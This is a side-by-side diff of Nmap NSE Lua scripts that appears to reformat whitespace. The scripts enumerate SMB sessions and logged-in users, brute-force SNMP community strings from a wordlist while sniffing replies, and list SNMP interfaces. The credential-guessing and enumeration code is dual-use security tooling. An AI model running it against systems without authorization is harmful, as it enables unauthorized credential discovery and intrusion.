end end
if(result['type'] ~= "SID_NAME_WKN_GRP") then -- Don't show "well known" accounts if(result['type'] ~= "SID_NAME_WKN_GRP") then -- Don't show "well known" accounts
-- Add it to the results -- Add it to the results
results[#results + 1] = result results[#results + 1] = result
end end
end end
end end
end end
end end
-- Close the policy -- Close the policy
msrpc.lsa_close(smbstate, openpolicy2_result['policy_handle']) msrpc.lsa_close(smbstate, openpolicy2_result['policy_handle'])
-- Stop the session -- Stop the session
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
return true, results return true, results
end end
--_G.TRACEBACK = TRACEBACK or {} --_G.TRACEBACK = TRACEBACK or {}
action = function(host) action = function(host)
-- TRACEBACK[coroutine.running()] = true; -- TRACEBACK[coroutine.running()] = true;
local response = {} local response = {}
-- Enumerate the logged in users -- Enumerate the logged in users
local logged_in = {} local logged_in = {}
local status1, users = winreg_enum_rids(host) local status1, users = winreg_enum_rids(host)
if(status1 == false) then if(status1 == false) then
logged_in['warning'] = "Couldn't enumerate login sessions: " .. users logged_in['warning'] = "Couldn't enumerate login sessions: " .. users
else else
logged_in['name'] = "Users logged in" logged_in['name'] = "Users logged in"
if(#users == 0) then if(#users == 0) then
table.insert(response, "<nobody>") table.insert(response, "<nobody>")
else else
for i = 1, #users, 1 do for i = 1, #users, 1 do
if(users[i]['name'] ~= nil) then if(users[i]['name'] ~= nil) then
table.insert(logged_in, string.format("%s\\%s since %s", users[i]['domain'], users[i]['name'], users[i]['changed_date'])) table.insert(logged_in, string.format("%s\\%s since %s", users[i]['domain'], users[i]['name'], users[i]['changed_date']))
end end
end end
end end
end end
table.insert(response, logged_in) table.insert(response, logged_in)
-- Get the connected sessions -- Get the connected sessions
local sessions_output = {} local sessions_output = {}
local status2, sessions = srvsvc_enum_sessions(host) local status2, sessions = srvsvc_enum_sessions(host)
if(status2 == false) then if(status2 == false) then
sessions_output['warning'] = "Couldn't enumerate SMB sessions: " .. sessions sessions_output['warning'] = "Couldn't enumerate SMB sessions: " .. sessions
else else
sessions_output['name'] = "Active SMB sessions" sessions_output['name'] = "Active SMB sessions"
if(#sessions == 0) then if(#sessions == 0) then
table.insert(sessions_output, "<none>") table.insert(sessions_output, "<none>")
else else
-- Format the result -- Format the result
for i = 1, #sessions, 1 do for i = 1, #sessions, 1 do
local time = sessions[i]['time'] local time = sessions[i]['time']
if(time == 0) then if(time == 0) then
time = "[just logged in, it's probably you]" time = "[just logged in, it's probably you]"
elseif(time > 60 * 60 * 24) then elseif(time > 60 * 60 * 24) then
time = string.format("%dd%dh%02dm%02ds", time / (60*60*24), (time % (60*60*24)) / 3600, (time % 3600) / 60, time % 60) time = string.format("%dd%dh%02dm%02ds", time / (60*60*24), (time % (60*60*24)) / 3600, (time % 3600) / 60, time % 60)
elseif(time > 60 * 60) then elseif(time > 60 * 60) then
time = string.format("%dh%02dm%02ds", time / 3600, (time % 3600) / 60, time % 60) time = string.format("%dh%02dm%02ds", time / 3600, (time % 3600) / 60, time % 60)
else else
time = string.format("%02dm%02ds", time / 60, time % 60) time = string.format("%02dm%02ds", time / 60, time % 60)
end end
local idle_time = sessions[i]['idle_time'] local idle_time = sessions[i]['idle_time']
if(idle_time == 0) then if(idle_time == 0) then
idle_time = "[not idle]" idle_time = "[not idle]"
elseif(idle_time > 60 * 60 * 24) then elseif(idle_time > 60 * 60 * 24) then
idle_time = string.format("%dd%dh%02dm%02ds", idle_time / (60*60*24), (idle_time % (60*60*24)) / 3600, (idle_time % 3600) / 60, idle_time % 60) idle_time = string.format("%dd%dh%02dm%02ds", idle_time / (60*60*24), (idle_time % (60*60*24)) / 3600, (idle_time % 3600) / 60, idle_time % 60)
elseif(idle_time > 60 * 60) then elseif(idle_time > 60 * 60) then
idle_time = string.format("%dh%02dm%02ds", idle_time / 3600, (idle_time % 3600) / 60, idle_time % 60) idle_time = string.format("%dh%02dm%02ds", idle_time / 3600, (idle_time % 3600) / 60, idle_time % 60)
else else
idle_time = string.format("%02dm%02ds", idle_time / 60, idle_time % 60) idle_time = string.format("%02dm%02ds", idle_time / 60, idle_time % 60)
end end
table.insert(sessions_output, string.format("%s is connected from %s for %s, idle for %s", sessions[i]['user'], sessions[i]['client'], time, idle_time)) table.insert(sessions_output, string.format("%s is connected from %s for %s, idle for %s", sessions[i]['user'], sessions[i]['client'], time, idle_time))
end end
end end
end end
table.insert(response, sessions_output) table.insert(response, sessions_output)
return stdnse.format_output(true, response) return stdnse.format_output(true, response)
end end

File diff suppressed because it is too large Load Diff

View File

@@ -60,234 +60,234 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
local communitiestable = {} local communitiestable = {}
local filltable = function(filename, table) local filltable = function(filename, table)
if #table ~= 0 then if #table ~= 0 then
return true return true
end end
local file = io.open(filename, "r") local file = io.open(filename, "r")
if not file then if not file then
return false return false
end end
for l in file:lines() do for l in file:lines() do
-- Comments takes up a whole line -- Comments takes up a whole line
if not l:match("#!comment:") then if not l:match("#!comment:") then
table[#table + 1] = l table[#table + 1] = l
end end
end end
file:close() file:close()
return true return true
end end
local closure = function(table) local closure = function(table)
local i = 1 local i = 1
return function(cmd) return function(cmd)
if cmd == "reset" then if cmd == "reset" then
i = 1 i = 1
return return
end end
local elem = table[i] local elem = table[i]
if elem then i = i + 1 end if elem then i = i + 1 end
return elem return elem
end end
end end
local communities_raw = function(path) local communities_raw = function(path)
if not path then if not path then
return false, "Cannot find communities list" return false, "Cannot find communities list"
end end
if not filltable(path, communitiestable) then if not filltable(path, communitiestable) then
return false, "Error parsing communities list" return false, "Error parsing communities list"
end end
return true, closure(communitiestable) return true, closure(communitiestable)
end end
local communities = function() local communities = function()
local communities_file = stdnse.get_script_args('snmp-brute.communitiesdb') or local communities_file = stdnse.get_script_args('snmp-brute.communitiesdb') or
nmap.fetchfile("nselib/data/snmpcommunities.lst") nmap.fetchfile("nselib/data/snmpcommunities.lst")
if communities_file then if communities_file then
stdnse.print_debug(1, "%s: Using the %s as the communities file", stdnse.print_debug(1, "%s: Using the %s as the communities file",
SCRIPT_NAME, communities_file) SCRIPT_NAME, communities_file)
local status, iterator = communities_raw(communities_file) local status, iterator = communities_raw(communities_file)
if not status then if not status then
return false, iterator return false, iterator
end end
local time_limit = unpwdb.timelimit() local time_limit = unpwdb.timelimit()
local count_limit = 0 local count_limit = 0
if stdnse.get_script_args("unpwdb.passlimit") then if stdnse.get_script_args("unpwdb.passlimit") then
count_limit = tonumber(stdnse.get_script_args("unpwdb.passlimit")) count_limit = tonumber(stdnse.get_script_args("unpwdb.passlimit"))
end end
return true, unpwdb.limited_iterator(iterator, time_limit, count_limit) return true, unpwdb.limited_iterator(iterator, time_limit, count_limit)
else else
stdnse.print_debug(1, "%s: Cannot read the communities file, using the nmap username/password database instead", stdnse.print_debug(1, "%s: Cannot read the communities file, using the nmap username/password database instead",
SCRIPT_NAME) SCRIPT_NAME)
return unpwdb.passwords() return unpwdb.passwords()
end end
end end
local send_snmp_queries = function(socket, result, nextcommunity) local send_snmp_queries = function(socket, result, nextcommunity)
local condvar = nmap.condvar(result) local condvar = nmap.condvar(result)
local request = snmp.buildGetRequest({}, "1.3.6.1.2.1.1.3.0") local request = snmp.buildGetRequest({}, "1.3.6.1.2.1.1.3.0")
local payload, status, response, err local payload, status, response, err
local community = nextcommunity() local community = nextcommunity()
while community do while community do
if result.status == false then if result.status == false then
--in case the sniff_snmp_responses thread was shut down --in case the sniff_snmp_responses thread was shut down
condvar("signal") condvar("signal")
return return
end end
payload = snmp.encode(snmp.buildPacket(request, 0, community)) payload = snmp.encode(snmp.buildPacket(request, 0, community))
status, err = socket:send(payload) status, err = socket:send(payload)
if not status then if not status then
result.status = false result.status = false
result.msg = "Could not send SNMP probe" result.msg = "Could not send SNMP probe"
condvar "signal" condvar "signal"
return return
end end
community = nextcommunity() community = nextcommunity()
end end
result.sent = true result.sent = true
condvar("signal") condvar("signal")
end end
local sniff_snmp_responses = function(host, port, lport, result) local sniff_snmp_responses = function(host, port, lport, result)
local condvar = nmap.condvar(result) local condvar = nmap.condvar(result)
local pcap = nmap.new_socket() local pcap = nmap.new_socket()
pcap:set_timeout(host.times.timeout * 1000 * 3) pcap:set_timeout(host.times.timeout * 1000 * 3)
local ip = host.bin_ip_src local ip = host.bin_ip_src
ip = string.format("%d.%d.%d.%d",ip:byte(1),ip:byte(2),ip:byte(3),ip:byte(4)) ip = string.format("%d.%d.%d.%d",ip:byte(1),ip:byte(2),ip:byte(3),ip:byte(4))
pcap:pcap_open(host.interface, 104, false,"dst host " .. ip .. " and udp and src port 161 and dst port " .. lport) pcap:pcap_open(host.interface, 104, false,"dst host " .. ip .. " and udp and src port 161 and dst port " .. lport)
-- last_run indicated whether there will be only one more receive -- last_run indicated whether there will be only one more receive
local last_run = false local last_run = false
-- receive even when status=false untill all the probes are sent -- receive even when status=false untill all the probes are sent
while true do while true do
local status, plen, l2, l3, _ = pcap:pcap_receive() local status, plen, l2, l3, _ = pcap:pcap_receive()
if status then if status then
local p = packet.Packet:new(l3,#l3) local p = packet.Packet:new(l3,#l3)
if not p:udp_parse() then if not p:udp_parse() then
--shouldn't happen --shouldn't happen
result.status = false result.status = false
result.msg = "Wrong type of packet received" result.msg = "Wrong type of packet received"
condvar "signal" condvar "signal"
return return
end end
local response = p:raw(28, #p.buf) local response = p:raw(28, #p.buf)
local res local res
_, res = snmp.decode(response) _, res = snmp.decode(response)
if type(res) == "table" then if type(res) == "table" then
result.communities[ #(result.communities) + 1 ] = res[2] result.communities[ #(result.communities) + 1 ] = res[2]
else else
result.status = false result.status = false
result.msg = "Wrong type of SNMP response received" result.msg = "Wrong type of SNMP response received"
condvar "signal" condvar "signal"
return return
end end
else else
if last_run then if last_run then
condvar "signal" condvar "signal"
return return
else else
if result.sent then if result.sent then
last_run = true last_run = true
end end
end end
end end
end end
pcap:close() pcap:close()
condvar "signal" condvar "signal"
return return
end end
action = function(host, port) action = function(host, port)
local status, nextcommunity = communities() local status, nextcommunity = communities()
if not status then if not status then
return "\n ERROR: Failed to read the communities database" return "\n ERROR: Failed to read the communities database"
end end
local result = {} local result = {}
local threads = {} local threads = {}
local condvar = nmap.condvar(result) local condvar = nmap.condvar(result)
result.sent = false --whether the probes are sent result.sent = false --whether the probes are sent
result.communities = {} -- list of valid community strings result.communities = {} -- list of valid community strings
result.msg = "" -- Error/Status msg result.msg = "" -- Error/Status msg
result.status = true -- Status (is everything ok) result.status = true -- Status (is everything ok)
local socket = nmap.new_socket("udp") local socket = nmap.new_socket("udp")
status = socket:connect(host, port) status = socket:connect(host, port)
if ( not(status) ) then if ( not(status) ) then
return "\n ERROR: Failed to connect to server" return "\n ERROR: Failed to connect to server"
end end
local status, _, lport = socket:get_info() local status, _, lport = socket:get_info()
if( not(status) ) then if( not(status) ) then
return "\n ERROR: Failed to retrieve local port" return "\n ERROR: Failed to retrieve local port"
end end
local recv_co = stdnse.new_thread(sniff_snmp_responses, host, port, lport, result) local recv_co = stdnse.new_thread(sniff_snmp_responses, host, port, lport, result)
local send_co = stdnse.new_thread(send_snmp_queries, socket, result, nextcommunity) local send_co = stdnse.new_thread(send_snmp_queries, socket, result, nextcommunity)
local recv_dead, send_dead local recv_dead, send_dead
while true do while true do
condvar "wait" condvar "wait"
recv_dead = (coroutine.status(recv_co) == "dead") recv_dead = (coroutine.status(recv_co) == "dead")
send_dead = (coroutine.status(send_co) == "dead") send_dead = (coroutine.status(send_co) == "dead")
if recv_dead then break end if recv_dead then break end
end end
socket:close() socket:close()
if result.status then if result.status then
-- add the community strings to the creds database -- add the community strings to the creds database
local c = creds.Credentials:new(SCRIPT_NAME, host, port) local c = creds.Credentials:new(SCRIPT_NAME, host, port)
for _, community_string in ipairs(result.communities) do for _, community_string in ipairs(result.communities) do
c:add("",community_string, creds.State.VALID) c:add("",community_string, creds.State.VALID)
end end
-- insert the first community string as a snmpcommunity registry field -- insert the first community string as a snmpcommunity registry field
local creds_iter = c:getCredentials() local creds_iter = c:getCredentials()
if creds_iter then if creds_iter then
local account = creds_iter() local account = creds_iter()
if account then if account then
if account.pass == "<empty>" then if account.pass == "<empty>" then
nmap.registry.snmpcommunity = "" nmap.registry.snmpcommunity = ""
else else
nmap.registry.snmpcommunity = account.pass nmap.registry.snmpcommunity = account.pass
end end
end end
end end
-- return output -- return output
return tostring(c) return tostring(c)
else else
stdnse.print_debug("An error occured: "..result.msg) stdnse.print_debug("An error occured: "..result.msg)
end end
end end

View File

@@ -51,14 +51,14 @@ dependencies = {"snmp-brute"}
prerule = function() prerule = function()
if not stdnse.get_script_args({"snmp-interfaces.host", "host"}) then if not stdnse.get_script_args({"snmp-interfaces.host", "host"}) then
stdnse.print_debug(3, stdnse.print_debug(3,
"Skipping '%s' %s, 'snmp-interfaces.host' argument is missing.", "Skipping '%s' %s, 'snmp-interfaces.host' argument is missing.",
SCRIPT_NAME, SCRIPT_TYPE) SCRIPT_NAME, SCRIPT_TYPE)
return false return false
end end
return true return true
end end
portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"}) portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
@@ -68,43 +68,43 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
-- Available at http://www.iana.org/assignments/ianaiftype-mib -- Available at http://www.iana.org/assignments/ianaiftype-mib
-- REVISION "201002110000Z" -- REVISION "201002110000Z"
local iana_types = { "other", "regular1822", "hdh1822", "ddnX25", "rfc877x25", "ethernetCsmacd", local iana_types = { "other", "regular1822", "hdh1822", "ddnX25", "rfc877x25", "ethernetCsmacd",
"iso88023Csmacd", "iso88024TokenBus", "iso88025TokenRing", "iso88026Man", "starLan", "iso88023Csmacd", "iso88024TokenBus", "iso88025TokenRing", "iso88026Man", "starLan",
"proteon10Mbit", "proteon80Mbit", "hyperchannel", "fddi", "lapb", "sdlc", "ds1", "e1", "proteon10Mbit", "proteon80Mbit", "hyperchannel", "fddi", "lapb", "sdlc", "ds1", "e1",
"basicISDN", "primaryISDN", "propPointToPointSerial", "ppp", "softwareLoopback", "eon", "basicISDN", "primaryISDN", "propPointToPointSerial", "ppp", "softwareLoopback", "eon",
"ethernet3Mbit", "nsip", "slip", "ultra", "ds3", "sip", "frameRelay", "rs232", "para", "ethernet3Mbit", "nsip", "slip", "ultra", "ds3", "sip", "frameRelay", "rs232", "para",
"arcnet", "arcnetPlus", "atm", "miox25", "sonet", "x25ple", "iso88022llc", "localTalk", "arcnet", "arcnetPlus", "atm", "miox25", "sonet", "x25ple", "iso88022llc", "localTalk",
"smdsDxi", "frameRelayService", "v35", "hssi", "hippi", "modem", "aal5", "sonetPath", "smdsDxi", "frameRelayService", "v35", "hssi", "hippi", "modem", "aal5", "sonetPath",
"sonetVT", "smdsIcip", "propVirtual", "propMultiplexor", "ieee80212", "fibreChannel", "sonetVT", "smdsIcip", "propVirtual", "propMultiplexor", "ieee80212", "fibreChannel",
"hippiInterface", "frameRelayInterconnect", "aflane8023", "aflane8025", "cctEmul", "hippiInterface", "frameRelayInterconnect", "aflane8023", "aflane8025", "cctEmul",
"fastEther", "isdn", "v11", "v36", "g703at64k", "g703at2mb", "qllc", "fastEtherFX", "fastEther", "isdn", "v11", "v36", "g703at64k", "g703at2mb", "qllc", "fastEtherFX",
"channel", "ieee80211", "ibm370parChan", "escon", "dlsw", "isdns", "isdnu", "lapd", "channel", "ieee80211", "ibm370parChan", "escon", "dlsw", "isdns", "isdnu", "lapd",
"ipSwitch", "rsrb", "atmLogical", "ds0", "ds0Bundle", "bsc", "async", "cnr", "ipSwitch", "rsrb", "atmLogical", "ds0", "ds0Bundle", "bsc", "async", "cnr",
"iso88025Dtr", "eplrs", "arap", "propCnls", "hostPad", "termPad", "frameRelayMPI", "iso88025Dtr", "eplrs", "arap", "propCnls", "hostPad", "termPad", "frameRelayMPI",
"x213", "adsl", "radsl", "sdsl", "vdsl", "iso88025CRFPInt", "myrinet", "voiceEM", "x213", "adsl", "radsl", "sdsl", "vdsl", "iso88025CRFPInt", "myrinet", "voiceEM",
"voiceFXO", "voiceFXS", "voiceEncap", "voiceOverIp", "atmDxi", "atmFuni", "atmIma", "voiceFXO", "voiceFXS", "voiceEncap", "voiceOverIp", "atmDxi", "atmFuni", "atmIma",
"pppMultilinkBundle", "ipOverCdlc", "ipOverClaw", "stackToStack", "virtualIpAddress", "pppMultilinkBundle", "ipOverCdlc", "ipOverClaw", "stackToStack", "virtualIpAddress",
"mpc", "ipOverAtm", "iso88025Fiber", "tdlc", "gigabitEthernet", "hdlc", "lapf", "v37", "mpc", "ipOverAtm", "iso88025Fiber", "tdlc", "gigabitEthernet", "hdlc", "lapf", "v37",
"x25mlp", "x25huntGroup", "trasnpHdlc", "interleave", "fast", "ip", "docsCableMaclayer", "x25mlp", "x25huntGroup", "trasnpHdlc", "interleave", "fast", "ip", "docsCableMaclayer",
"docsCableDownstream", "docsCableUpstream", "a12MppSwitch", "tunnel", "coffee", "ces", "docsCableDownstream", "docsCableUpstream", "a12MppSwitch", "tunnel", "coffee", "ces",
"atmSubInterface", "l2vlan", "l3ipvlan", "l3ipxvlan", "digitalPowerlinev", "mediaMailOverIp", "atmSubInterface", "l2vlan", "l3ipvlan", "l3ipxvlan", "digitalPowerlinev", "mediaMailOverIp",
"dtm", "dcn", "ipForward", "msdsl", "ieee1394", "if-gsn", "dvbRccMacLayer", "dvbRccDownstream", "dtm", "dcn", "ipForward", "msdsl", "ieee1394", "if-gsn", "dvbRccMacLayer", "dvbRccDownstream",
"dvbRccUpstream", "atmVirtual", "mplsTunnel", "srp", "voiceOverAtm", "voiceOverFrameRelay", "dvbRccUpstream", "atmVirtual", "mplsTunnel", "srp", "voiceOverAtm", "voiceOverFrameRelay",
"idsl", "compositeLink", "ss7SigLink", "propWirelessP2P", "frForward", "rfc1483", "usb", "idsl", "compositeLink", "ss7SigLink", "propWirelessP2P", "frForward", "rfc1483", "usb",
"ieee8023adLag", "bgppolicyaccounting", "frf16MfrBundle", "h323Gatekeeper", "h323Proxy", "ieee8023adLag", "bgppolicyaccounting", "frf16MfrBundle", "h323Gatekeeper", "h323Proxy",
"mpls", "mfSigLink", "hdsl2", "shdsl", "ds1FDL", "pos", "dvbAsiIn", "dvbAsiOut", "plc", "mpls", "mfSigLink", "hdsl2", "shdsl", "ds1FDL", "pos", "dvbAsiIn", "dvbAsiOut", "plc",
"nfas", "tr008", "gr303RDT", "gr303IDT", "isup", "propDocsWirelessMaclayer", "nfas", "tr008", "gr303RDT", "gr303IDT", "isup", "propDocsWirelessMaclayer",
"propDocsWirelessDownstream", "propDocsWirelessUpstream", "hiperlan2", "propBWAp2Mp", "propDocsWirelessDownstream", "propDocsWirelessUpstream", "hiperlan2", "propBWAp2Mp",
"sonetOverheadChannel", "digitalWrapperOverheadChannel", "aal2", "radioMAC", "atmRadio", "sonetOverheadChannel", "digitalWrapperOverheadChannel", "aal2", "radioMAC", "atmRadio",
"imt", "mvl", "reachDSL", "frDlciEndPt", "atmVciEndPt", "opticalChannel", "opticalTransport", "imt", "mvl", "reachDSL", "frDlciEndPt", "atmVciEndPt", "opticalChannel", "opticalTransport",
"propAtm", "voiceOverCable", "infiniband", "teLink", "q2931", "virtualTg", "sipTg", "sipSig", "propAtm", "voiceOverCable", "infiniband", "teLink", "q2931", "virtualTg", "sipTg", "sipSig",
"docsCableUpstreamChannel", "econet", "pon155", "pon622", "bridge", "linegroup", "voiceEMFGD", "docsCableUpstreamChannel", "econet", "pon155", "pon622", "bridge", "linegroup", "voiceEMFGD",
"voiceFGDEANA", "voiceDID", "mpegTransport", "sixToFour", "gtp", "pdnEtherLoop1", "voiceFGDEANA", "voiceDID", "mpegTransport", "sixToFour", "gtp", "pdnEtherLoop1",
"pdnEtherLoop2", "opticalChannelGroup", "homepna", "gfp", "ciscoISLvlan", "actelisMetaLOOP", "pdnEtherLoop2", "opticalChannelGroup", "homepna", "gfp", "ciscoISLvlan", "actelisMetaLOOP",
"fcipLink", "rpr", "qam", "lmp", "cblVectaStar", "docsCableMCmtsDownstream", "adsl2", "fcipLink", "rpr", "qam", "lmp", "cblVectaStar", "docsCableMCmtsDownstream", "adsl2",
"macSecControlledIF", "macSecUncontrolledIF", "aviciOpticalEther", "atmbond", "voiceFGDOS", "macSecControlledIF", "macSecUncontrolledIF", "aviciOpticalEther", "atmbond", "voiceFGDOS",
"mocaVersion1", "ieee80216WMAN", "adsl2plus", "dvbRcsMacLayer", "dvbTdm", "dvbRcsTdma", "mocaVersion1", "ieee80216WMAN", "adsl2plus", "dvbRcsMacLayer", "dvbTdm", "dvbRcsTdma",
"x86Laps", "wwanPP", "wwanPP2", "voiceEBS", "ifPwType", "ilan", "pip", "aluELP", "gpon", "x86Laps", "wwanPP", "wwanPP2", "voiceEBS", "ifPwType", "ilan", "pip", "aluELP", "gpon",
"vdsl2", "capwapDot11Profile", "capwapDot11Bss", "capwapWtpVirtualRadio" } "vdsl2", "capwapDot11Profile", "capwapDot11Bss", "capwapWtpVirtualRadio" }
--- Gets a value for the specified oid --- Gets a value for the specified oid
-- --
@@ -113,13 +113,13 @@ local iana_types = { "other", "regular1822", "hdh1822", "ddnX25", "rfc877x25", "
-- @return value of relevant type or nil if oid was not found -- @return value of relevant type or nil if oid was not found
function get_value_from_table( tbl, oid ) function get_value_from_table( tbl, oid )
for _, v in ipairs( tbl ) do for _, v in ipairs( tbl ) do
if v.oid == oid then if v.oid == oid then
return v.value return v.value
end end
end end
return nil return nil
end end
--- Gets the network interface type from a list of IANA approved types --- Gets the network interface type from a list of IANA approved types
@@ -127,13 +127,13 @@ end
-- @param iana integer interface type returned from snmp result -- @param iana integer interface type returned from snmp result
-- @return string description of interface type, or "Unknown" if type not found -- @return string description of interface type, or "Unknown" if type not found
function get_iana_type( iana ) function get_iana_type( iana )
-- 254 types are currently defined -- 254 types are currently defined
-- if the requested type falls outside that range, reset to "other" -- if the requested type falls outside that range, reset to "other"
if iana > 254 or iana < 1 then if iana > 254 or iana < 1 then
iana = 1 iana = 1
end end
return iana_types[iana] return iana_types[iana]
end end
--- Calculates the speed of the interface based on the snmp value --- Calculates the speed of the interface based on the snmp value
@@ -141,20 +141,20 @@ end
-- @param speed value from IF-MIB::ifSpeed -- @param speed value from IF-MIB::ifSpeed
-- @return string description of speed -- @return string description of speed
function get_if_speed( speed ) function get_if_speed( speed )
local result local result
-- GigE or 10GigE speeds -- GigE or 10GigE speeds
if speed >= 1000000000 then if speed >= 1000000000 then
result = string.format( "%d Gbps", speed / 1000000000) result = string.format( "%d Gbps", speed / 1000000000)
-- Common for 10 or 100 Mbit ethernet -- Common for 10 or 100 Mbit ethernet
elseif speed >= 1000000 then elseif speed >= 1000000 then
result = string.format( "%d Mbps", speed / 1000000) result = string.format( "%d Mbps", speed / 1000000)
-- Anything slower report in Kbps -- Anything slower report in Kbps
else else
result = string.format( "%d Kbps", speed / 1000) result = string.format( "%d Kbps", speed / 1000)
end end
return result return result
end end
--- Calculates the amount of traffic passed through an interface based on the snmp value --- Calculates the amount of traffic passed through an interface based on the snmp value
@@ -162,20 +162,20 @@ end
-- @param amount value from IF-MIB::ifInOctets or IF-MIB::ifOutOctets -- @param amount value from IF-MIB::ifInOctets or IF-MIB::ifOutOctets
-- @return string description of traffic amount -- @return string description of traffic amount
function get_traffic( amount ) function get_traffic( amount )
local result local result
-- Gigabytes -- Gigabytes
if amount >= 1000000000 then if amount >= 1000000000 then
result = string.format( "%.2f Gb", amount / 1000000000) result = string.format( "%.2f Gb", amount / 1000000000)
-- Megabytes -- Megabytes
elseif amount >= 1000000 then elseif amount >= 1000000 then
result = string.format( "%.2f Mb", amount / 1000000) result = string.format( "%.2f Mb", amount / 1000000)
-- Anything lower report in kb -- Anything lower report in kb
else else
result = string.format( "%.2f Kb", amount / 1000) result = string.format( "%.2f Kb", amount / 1000)
end end
return result return result
end end
--- Converts a 6 byte string into the familiar MAC address formatting --- Converts a 6 byte string into the familiar MAC address formatting
@@ -183,17 +183,17 @@ end
-- @param mac string containing the MAC address -- @param mac string containing the MAC address
-- @return formatted string suitable for printing -- @return formatted string suitable for printing
function get_mac_addr( mac ) function get_mac_addr( mac )
local catch = function() return end local catch = function() return end
local try = nmap.new_try(catch) local try = nmap.new_try(catch)
local mac_prefixes = try(datafiles.parse_mac_prefixes()) local mac_prefixes = try(datafiles.parse_mac_prefixes())
if mac:len() ~= 6 then if mac:len() ~= 6 then
return "Unknown" return "Unknown"
else else
local prefix = string.upper(string.format("%02x%02x%02x", mac:byte(1), mac:byte(2), mac:byte(3))) local prefix = string.upper(string.format("%02x%02x%02x", mac:byte(1), mac:byte(2), mac:byte(3)))
local manuf = mac_prefixes[prefix] or "Unknown" local manuf = mac_prefixes[prefix] or "Unknown"
return string.format("%s (%s)", stdnse.format_mac(mac:sub(1,6)), manuf ) return string.format("%s (%s)", stdnse.format_mac(mac:sub(1,6)), manuf )
end end
end end
--- Processes the list of network interfaces --- Processes the list of network interfaces
@@ -202,87 +202,87 @@ end
-- @return table with network interfaces described in key / value pairs -- @return table with network interfaces described in key / value pairs
function process_interfaces( tbl ) function process_interfaces( tbl )
-- Add the %. escape character to prevent matching the index on e.g. "1.3.6.1.2.1.2.2.1.10." -- Add the %. escape character to prevent matching the index on e.g. "1.3.6.1.2.1.2.2.1.10."
local if_index = "1.3.6.1.2.1.2.2.1.1%." local if_index = "1.3.6.1.2.1.2.2.1.1%."
local if_descr = "1.3.6.1.2.1.2.2.1.2." local if_descr = "1.3.6.1.2.1.2.2.1.2."
local if_type = "1.3.6.1.2.1.2.2.1.3." local if_type = "1.3.6.1.2.1.2.2.1.3."
local if_speed = "1.3.6.1.2.1.2.2.1.5." local if_speed = "1.3.6.1.2.1.2.2.1.5."
local if_phys_addr = "1.3.6.1.2.1.2.2.1.6." local if_phys_addr = "1.3.6.1.2.1.2.2.1.6."
local if_status = "1.3.6.1.2.1.2.2.1.8." local if_status = "1.3.6.1.2.1.2.2.1.8."
local if_in_octets = "1.3.6.1.2.1.2.2.1.10." local if_in_octets = "1.3.6.1.2.1.2.2.1.10."
local if_out_octets = "1.3.6.1.2.1.2.2.1.16." local if_out_octets = "1.3.6.1.2.1.2.2.1.16."
local new_tbl = {} local new_tbl = {}
-- Some operating systems (such as MS Windows) don't list interfaces with consecutive indexes -- Some operating systems (such as MS Windows) don't list interfaces with consecutive indexes
-- Therefore we keep an index list so we can iterate over the indexes later on -- Therefore we keep an index list so we can iterate over the indexes later on
new_tbl.index_list = {} new_tbl.index_list = {}
for _, v in ipairs( tbl ) do for _, v in ipairs( tbl ) do
if ( v.oid:match("^" .. if_index) ) then if ( v.oid:match("^" .. if_index) ) then
local item = {} local item = {}
item.index = get_value_from_table( tbl, v.oid ) item.index = get_value_from_table( tbl, v.oid )
local objid = v.oid:gsub( "^" .. if_index, if_descr) local objid = v.oid:gsub( "^" .. if_index, if_descr)
local value = get_value_from_table( tbl, objid ) local value = get_value_from_table( tbl, objid )
if value and value:len() > 0 then if value and value:len() > 0 then
item.descr = value item.descr = value
end end
objid = v.oid:gsub( "^" .. if_index, if_type ) objid = v.oid:gsub( "^" .. if_index, if_type )
value = get_value_from_table( tbl, objid ) value = get_value_from_table( tbl, objid )
if value then if value then
item.type = get_iana_type(value) item.type = get_iana_type(value)
end end
objid = v.oid:gsub( "^" .. if_index, if_speed ) objid = v.oid:gsub( "^" .. if_index, if_speed )
value = get_value_from_table( tbl, objid ) value = get_value_from_table( tbl, objid )
if value then if value then
item.speed = get_if_speed( value ) item.speed = get_if_speed( value )
end end
objid = v.oid:gsub( "^" .. if_index, if_phys_addr ) objid = v.oid:gsub( "^" .. if_index, if_phys_addr )
value = get_value_from_table( tbl, objid ) value = get_value_from_table( tbl, objid )
if value and value:len() > 0 then if value and value:len() > 0 then
item.phys_addr = get_mac_addr( value ) item.phys_addr = get_mac_addr( value )
end end
objid = v.oid:gsub( "^" .. if_index, if_status ) objid = v.oid:gsub( "^" .. if_index, if_status )
value = get_value_from_table( tbl, objid ) value = get_value_from_table( tbl, objid )
if value == 1 then if value == 1 then
item.status = "up" item.status = "up"
elseif value == 2 then elseif value == 2 then
item.status = "down" item.status = "down"
end end
objid = v.oid:gsub( "^" .. if_index, if_in_octets ) objid = v.oid:gsub( "^" .. if_index, if_in_octets )
value = get_value_from_table( tbl, objid ) value = get_value_from_table( tbl, objid )
if value then if value then
item.received = get_traffic( value ) item.received = get_traffic( value )
end end
objid = v.oid:gsub( "^" .. if_index, if_out_octets ) objid = v.oid:gsub( "^" .. if_index, if_out_octets )
value = get_value_from_table( tbl, objid ) value = get_value_from_table( tbl, objid )
if value then if value then
item.sent = get_traffic( value ) item.sent = get_traffic( value )
end end
new_tbl[item.index] = item new_tbl[item.index] = item
-- Add this interface index to our master list -- Add this interface index to our master list
table.insert( new_tbl.index_list, item.index ) table.insert( new_tbl.index_list, item.index )
end end
end end
return new_tbl return new_tbl
end end
@@ -292,34 +292,34 @@ end
-- @param ip_tbl table containing <code>oid</code> and <code>value</code> pairs from IP::MIB -- @param ip_tbl table containing <code>oid</code> and <code>value</code> pairs from IP::MIB
-- @return table with network interfaces described in key / value pairs -- @return table with network interfaces described in key / value pairs
function process_ips( if_tbl, ip_tbl ) function process_ips( if_tbl, ip_tbl )
local ip_index = "1.3.6.1.2.1.4.20.1.2." local ip_index = "1.3.6.1.2.1.4.20.1.2."
local ip_addr = "1.3.6.1.2.1.4.20.1.1." local ip_addr = "1.3.6.1.2.1.4.20.1.1."
local ip_netmask = "1.3.6.1.2.1.4.20.1.3." local ip_netmask = "1.3.6.1.2.1.4.20.1.3."
local index local index
local item local item
for _, v in ipairs( ip_tbl ) do for _, v in ipairs( ip_tbl ) do
